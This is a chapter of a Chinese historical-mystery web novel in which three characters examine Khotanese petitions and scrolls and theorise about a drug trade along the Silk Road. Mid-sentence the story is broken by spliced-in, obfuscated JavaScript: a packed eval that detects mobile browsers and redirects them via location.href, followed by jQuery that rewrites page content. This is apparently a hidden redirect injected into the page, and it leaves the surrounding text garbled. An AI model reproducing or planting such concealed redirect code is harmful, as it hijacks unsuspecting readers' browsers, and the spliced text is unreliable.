鬼市外的郊区,荒芜的大地龟裂成一片片,在阳光下很快升温,烤得人暖洋洋的,就是风沙大了点。
李在宥很久没说话,魏无功有点儿不习惯,看了他一眼,找了个话头子,问:“你带瓷蒺藜干什么?”
“防身用的。”李在宥说。
“哦。”魏无功哦了一声,就不知道再说些什么了。
两人又走了一段,李在宥突然把手伸到他袖子里。
“你干嘛!”魏无功瞪着眼睛,感受到几根冰凉凉的手指头攀上他的胳膊,给他吓一哆嗦。
“是这么着,”李在宥的手指沿着他的手腕滑到掌心,“还是应该这么着……”
魏无功脑袋空白了两秒才反应过来,他是在问黑市交易怎么在袖口里比划价格。
“……”魏无功捏着他的手掌翻过去,点了两下:“这样。”
“啊……这样啊,”李在宥点点头,心里想着回去要注在那本书里,这么重要的细节,怎么能不写呢,多耽误事儿。
“你还好吗?”魏无功看他神神叨叨的,不知道是受了什么刺激。
“好着呢,”李在宥揉揉眼睛:“就是困。”
“那个墓志没了,影响大吗?”魏无功问。
“那肯定是有影响的,毕竟最直接的身份信息没了,刚墙上揭下来的纸页儿也没印章,都是经书。”李在宥说:“不过能同时阅读四种文字的佛经,又有中原的官职,大概能猜到是归义军的使者。”
“归义军……”魏无功听着有点儿耳熟,沈仓以前好像研究过。
“一会儿我跟公主汇报工作,你听吗?”李在宥转头看着他。
魏无功看他一眼,李在宥面相很和善,嘴角翘着,眼睛里却没什么笑意,其中意味不言自明。
“不去,我补觉。”他很自觉地说。
李在宥似乎是满意了,把头转了回去。
军寨里,赵元贞打开门的时候,看见门口有一坨人,顺脚踹了一下。
“起开,挡路了。”
李在宥没做声,一个闪身进了她房间,大字形往床上一扑,一动也不动了。
“耍赖是吧。”赵元贞说。
“我困……”李在宥哼唧了一句,脑袋埋在被子里。
“赶紧的,去给我跑个腿。”
“跑什么腿……”
“去找一趟沈仓,我给张定钧的回复拟好了,让他找人交给阿尔斯兰。”
“哦。”李在宥哦了一句,没动:“你去叫小魏呗。”
“啧,”赵元贞啧了一声,“小脾气挺大。”说着,就去就要作势去拉他。李在宥想抓起她的手腕翻身拧,被赵元贞察觉,一个格挡化解了。李在宥不服气,回手一掏,反倒被赵元贞先一步拧了手,两人就这么突然一本正经过起招来了。
“哟,有点儿长进。”赵元贞说。
“哼哼,你瞧好吧,很快就超过你了!”
打闹间,李在宥随手扔了个枕头,没想到,随着枕头一起起飞的,还有十几张纸页,哗啦啦铺了一地。
他愣住了,就这么望着赵元贞。赵元贞也抱着手臂看着他。
对视了一会儿,李在宥突然笑了。
“有病。”李在宥说。
“你才有病,”赵元贞叹了口气,“一会儿气一会儿笑的,不知道的以为你也去吸英雄烟了呢。”
李在宥也叹了口气,低头开始捡东西。
“啧,干嘛呢,跟老头子一样。”赵元贞说。
“不知道,学你呗……”李在宥说。地上除了版本拆开线的《穆天子传》,还有几张信纸。他被纸页上的字吸引,仔细去瞧,是于阗国上书宋廷的求援信件,看纸张泛黄的程度,大概来自三十年前。
他拿起其中一个,飞快地浏览着上面的讯息:“黑汗豺狼,毁我伽蓝,焚我经卷……臣等泣血叩首,祈望王师西顾,救我倒悬……若得王师一旅,我于阗军民愿为前驱,誓死而战……”
信件言辞恳切、字字泣血,可惜彼时的大宋王朝三面环敌,已是自顾不暇,更别提发兵西援,只能象征性给予精神支持。最终,这个曾经风光无两的玉城佛国,终究还是消逝在了历史的长河之中。
李在宥看着看着就笑了,说:“你怎么老比我快一步。”他把纸张收拾好放在桌子上,从胸口掏出来魏无功整理好的一堆经卷。魏无功虽然不认识字,但是按照语言样式分好了几沓。
“看看这个,一晚上的劳动成果。”李在宥把纸页递给她,赵元贞接过去的时候,墙灰还在扑簌簌掉。
“这是……”赵元贞疑惑地翻了几页,看到于阗文的时候,眼睛一亮:“行啊,这都能找回来!”
“你慢慢看吧,我先补一觉,”李在宥四仰八叉往后一倒,“困死我了……”
赵元贞嫌弃地看了一眼他没洗的手,但是也没说什么,找了个小刷子,一点点清理墙灰。
大白天睡觉睡不安稳,李在宥没一会儿就醒了,醒的时候发现赵元贞站在墙上挂的一幅大地图前面,一动不动,像是老僧入定。
“你是不是也觉得,师父记错了。”赵元贞后脑勺长了眼睛,听着窸窸窣窣的动静知道他是醒了。
“那个鬼市贩子说,后山墓里的东西破开也就几十年的事情,说的时候没怎么避讳,我不觉得他看到那东西了,”李在宥说,刚醒,声音鼻音很重:“不过这里面也有张定钧的事儿,他买过佛像哄上面的人,所以也说不好。”
“还是蚕姑坨可能性更大一点,”赵元贞说,把魏无功昨天跟她讲的内容给李在宥大致描述了一下。“但即使如此,我就是始终不信邪,如果这东西这么神,怎么没来由突然就出现在易州这么个小地方。”
她招招手让李在宥过去跟她一起看。
“我想把时间往前拉一点,看看前后一百年都发生了些什么。”她说:“西边有些事情让我很在意。”
“不管是于阗国一路攀附归义军和更东的大唐,还是归义军内斗不止频繁遣使东归,亦或是把持路的回鹘人频繁往来于中原和西域,”赵元贞手指以昆仑山下玉城佛国为始,一路划过整个河西走廊,最后落在三军对垒的易州:
“同一时间,覆灭的佛国、东逃的节度使、活跃的明尊信徒、悄然现世的邪物……”
“所以,你是想说,西边这几股子势力,在同一时间都在往东跑,是西域有某个更强大、甚至更恐怖的力量源头,在挤压他们的生存空间……”李在宥顺着她的手,仿佛看见了地图上一条从西向东贯穿的伤口:“他们感到害怕,不得不向东寻求庇护……”
“这想法很大胆,但是是你的风格。”他无意识地摸着下巴,觉得很有意思。
“会不会有点太捕风捉影了?”赵元贞其实自己也不是很自
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17115950|195775||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
信。
“有点儿,但是我觉得有空间”。李在宥回忆了一下同一时期其他文明——高原上一片沉寂,吐蕃政权这时正在分崩离析;北方的草原尚且蛮化未开,互相攻伐,也没有搅动风云的能力,如果非要说的话,也确实是于阗-归义军-易州城这条线更合理。
“不过,这个推论确实是和云昭阁的记载有冲突。”这点他得承认。
“按理说,师父这么严谨的人,明确记录的信息是不会有大的差错的,”赵元贞对于自己的观点非常执拗,又不敢怀疑前任阁主:“只是我始终不认为易州这么一片小小的地方,能凭空长出一个张定钧来……”
“嗯……白马非马。咱们只知道师父记载的事魔鬼丹初出易州,这点没问题,”李在宥仔细想了想,补充道:“但是他可没说红色晶盐是从易州出来的对吧,你怀疑邪祟来自西域和魔鬼丹来自易州,这两件事也许不矛盾。”
“有道理,既然有英雄烟、光明血等不同叫法,也没说这几者都是从易州出来的,”赵元贞被他点醒,顿时有了底气:“也完全有可能,是蚕姑坨,或者后山墓中夹带着西域来的陪葬品,随着大墓被盗,那东西也就在幽云一带流传开来……”
放眼长量,胸中豁然开阔,一条从丝路而来,跨越百年的红色晶盐贸易变得生动而具体。
“可惜……”赵元贞盯着地图,眼睛里流露出一种很少见的悲悯:“这张地图已经很久没有更新了。”河西已失,中间隔着西夏铁鹞,不通讯已久,更远的西边现在如何,连云昭阁都无法得知。
“在宥啊,我们的眼睛不能只放在东面,”她说:“西边有更广阔的世界,也有更幽深的秘密——我真想亲自去看一看呐……”
“先不说这个,”李在宥完全没有体会到这种高尚的家国情怀,“你跟小魏唠了一夜,就说蚕姑坨啊。”
“啊,那不然呢,还要说什么?”赵元贞捂着嘴笑。
“不是,你问他话为什么不叫我一起啊!”李在宥略有一些不爽:“你以前都不避着我的!”
“那万一我猜错了呢?”赵元贞说:“万一人小魏不认识玄清子,我不要面子的吗?”
“这……”李在宥千算万算,想了一夜为什么单单这次把他支开,连那种理由都想了,却没有想到最后的真相居然如此朴实无华。
他刚想吐槽,房门被“叩叩叩”敲响。
“谁啊?”李在宥喊了一句。
对面好像是愣了一下,过了一会儿才说:
“我,魏无功。”
“嘿个小玩意儿……”李在宥噌的一下蹿过赵元贞,抢先一步冲过去打开了门,气势汹汹的。
门口的魏无功一脸无辜,端着个装元宵的碗。
“没完了是吧!”李在宥看着元宵就来气。
“别嚎,也有你的。”魏无功笑笑:“团练说过几天就难得吃到了,今天让大家都吃点好的。”
“嗯?要打仗了吗?”赵元贞站在后头问。
“是,今早下了班师符,我们要往北开拔了。”魏无功说:“团练会安排人在寨堡防守,您和使臣可以安心呆在这里。”
“怎么挑过节的时候?”李在宥问。
“金人定的。”魏无功回答。
“……”李在宥沉默了一会儿,接了元宵转身递给赵元贞,很小声音地说:“我想跟着去行营……”